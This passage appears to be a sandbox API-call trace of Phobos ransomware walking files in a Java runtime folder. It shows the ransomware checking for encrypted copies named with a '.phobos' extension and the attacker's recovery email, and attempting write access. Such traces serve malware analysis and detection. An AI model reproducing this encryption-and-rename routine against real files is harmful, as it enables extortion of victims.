files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.890] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.891] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=80856) returned 1 [0150.891] CloseHandle (hObject=0x564) returned 1 [0150.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0150.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.892] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.893] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=344908) returned 1 [0150.893] CloseHandle (hObject=0x564) returned 1 [0150.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20 [0150.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.894] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.894] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=317896) returned 1 [0150.894] CloseHandle (hObject=0x564) returned 1 [0150.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20 [0150.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.895] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.896] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=698236) returned 1 [0150.896] CloseHandle (hObject=0x564) returned 1 [0150.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0150.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.896] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.897] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=234068) returned 1 [0150.897] CloseHandle (hObject=0x564) returned 1 [0150.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0150.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.898] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.898] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=242700) returned 1 [0150.898] CloseHandle (hObject=0x564) returned 1 [0150.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20 [0150.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.899] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.900] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=13962) returned 1 [0150.900] CloseHandle (hObject=0x564) returned 1 [0150.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20 [0150.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.900] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.902] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1280) returned 1 [0150.902] CloseHandle (hObject=0x564) returned 1 [0150.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0150.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.903] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.908] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=56) returned 1 [0150.908] CloseHandle (hObject=0x564) returned 1 [0150.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20 [0150.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.909] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.977] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=944167) returned 1 [0150.977] CloseHandle (hObject=0x564) returned 1 [0150.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20 [0150.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.977] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.978] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=14630) returned 1 [0150.979] CloseHandle (hObject=0x564) returned 1 [0150.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20 [0150.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.980] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.995] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=381) returned 1 [0150.995] CloseHandle (hObject=0x564) returned 1 [0151.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20 [0151.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.002] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.002] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=4464) returned 1 [0151.002] CloseHandle (hObject=0x564) returned 1 [0151.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20 [0151.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.029] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.031] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10393) returned 1 [0151.032] CloseHandle (hObject=0x564) returned 1 [0151.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20 [0151.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.035] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.037] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=4054) returned 1 [0151.037] CloseHandle (hObject=0x564) returned 1 [0151.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20 [0151.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.037] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.038] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1253) returned 1 [0151.038] CloseHandle (hObject=0x564) returned 1 [0151.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20 [0151.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.039] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.043] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=114923) returned 1 [0151.043] CloseHandle (hObject=0x564) returned 1 [0151.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20 [0151.043] GetFileAttributesW 